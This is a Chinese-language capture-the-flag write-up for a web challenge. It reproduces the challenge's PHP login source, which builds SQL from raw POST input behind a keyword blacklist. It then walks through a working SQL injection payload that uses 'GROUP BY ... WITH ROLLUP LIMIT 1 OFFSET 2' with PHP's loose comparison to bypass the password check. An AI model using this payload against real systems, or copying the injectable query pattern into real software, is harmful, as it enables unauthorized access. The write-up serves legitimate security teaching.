SQL注入_WITH ROLLUP绕过

题目地址
http://ctf5.shiyanbar.com/web/pcat/index.php

<?php
    error_reporting(0);

    if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
        echo '<form action="" method="post">'."<br/>";
        echo '<input name="uname" type="text"/>'."<br/>";
        echo '<input name="pwd" type="text"/>'."<br/>";
        echo '<input type="submit" />'."<br/>";
        echo '</form>'."<br/>";
        echo '<!--source: source.txt-->'."<br/>";
        die;
    }

    function AttackFilter($StrKey,$StrValue,$ArrReq){  
        if (is_array($StrValue)){

    //检测变量是否是数组

            $StrValue=implode($StrValue);

    //返回由数组元素组合成的字符串

        }
        if (preg_match("/".$ArrReq."/is",$StrValue)==1){   

    //匹配成功一次后就会停止匹配

            print "水可载舟,亦可赛艇!";
            exit();
        }
    }

    $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
    foreach($_POST as $key=>$value){ 

    //遍历数组

        AttackFilter($key,$value,$filter);
    }

    $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
    if (!$con){
        die('Could not connect: ' . mysql_error());
    }
    $db="XXXXXX";
    mysql_select_db($db, $con);

    //设置活动的 MySQL 数据库

    $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
    $query = mysql_query($sql); 

    //执行一条 MySQL 查询

    if (mysql_num_rows($query) == 1) { 

    //返回结果集中行的数目

        $key = mysql_fetch_array($query);

    //返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false

        if($key['pwd'] == $_POST['pwd']) {
            print "CTF{XXXXXX}";
        }else{
            print "亦可赛艇!";
        }
    }else{
        print "一颗赛艇!";
    }
    mysql_close($con);
    ?>

审计代码寻找有用部分

if (mysql_num_rows($query) == 1) { 

 //返回结果集中行的数目

     $key = mysql_fetch_array($query);

 //返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false

     if($key['pwd'] == $_POST['pwd']) {
         print "CTF{XXXXXX}";

注入成功要满足2个条件:

  1. mysql_num_rows($query) == 1 即查询返回的结果行数为1

  2. $key[‘pwd’] == $_POST[‘pwd’] 即查询返回的结果与POST发送的pwd值相同

从源代码得出,注入点在uname这个位置上,$filter没有过滤掉 or

$sql=”SELECT * FROM interest WHERE uname = ‘{$_POST[‘uname’]}’”;

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";

对and等等进行过滤。
那么如果只让其对返回结果只取最后一行呢,自然而然的想到limit a,b这样的命令。但是“,”被过滤了。那么我们可以使用 limit a offset b

SQL查询语句中的 limit 与 offset 的区别:

limit y 分句表示: 读取 y 条数据 //limit 10,就是 从第0个开始,获取10条数据

limit x, y 分句表示: 跳过 x 条数据,读取 y 条数据 //limit 1,2 就是读取2-3条数据

limit y offset x 分句表示: 跳过 x 条数据,读取 y 条数据 //limit 2 offest 1 就是读取2-3条数据

注意初始偏移量为0

payload如下

uname=' || 1 group by pwd with rollup limit 1 offset 2 #

// uname=’ or 1 group by pwd with rollup limit 1 offset 2#

‘是对前面的’的封闭,然后利用||1将这个条件变成true,即可得出flag,

(group by是把前面的查询的内容按照pwd来分组。with rollup是统计信息的这里就是重点了,因为代码中$key[‘pwd’] == $_POST[‘pwd’]用的是双等号是弱比较。而with rollup会在查询的结果后面加上一个为空的列,所以password为空和NULL是相等的就绕过了pwd的比较)

至于为啥offset 2,这个是试出来的,其实我们根本不可能知道with rollup会总结归纳出多少条信息,offset 2能过说明正确的pwd位于第三条信息

这里要注意一点,当使用rollup的时候就不能使用order by进行排序,换句话说 rollup和order by是相互排斥的。

0%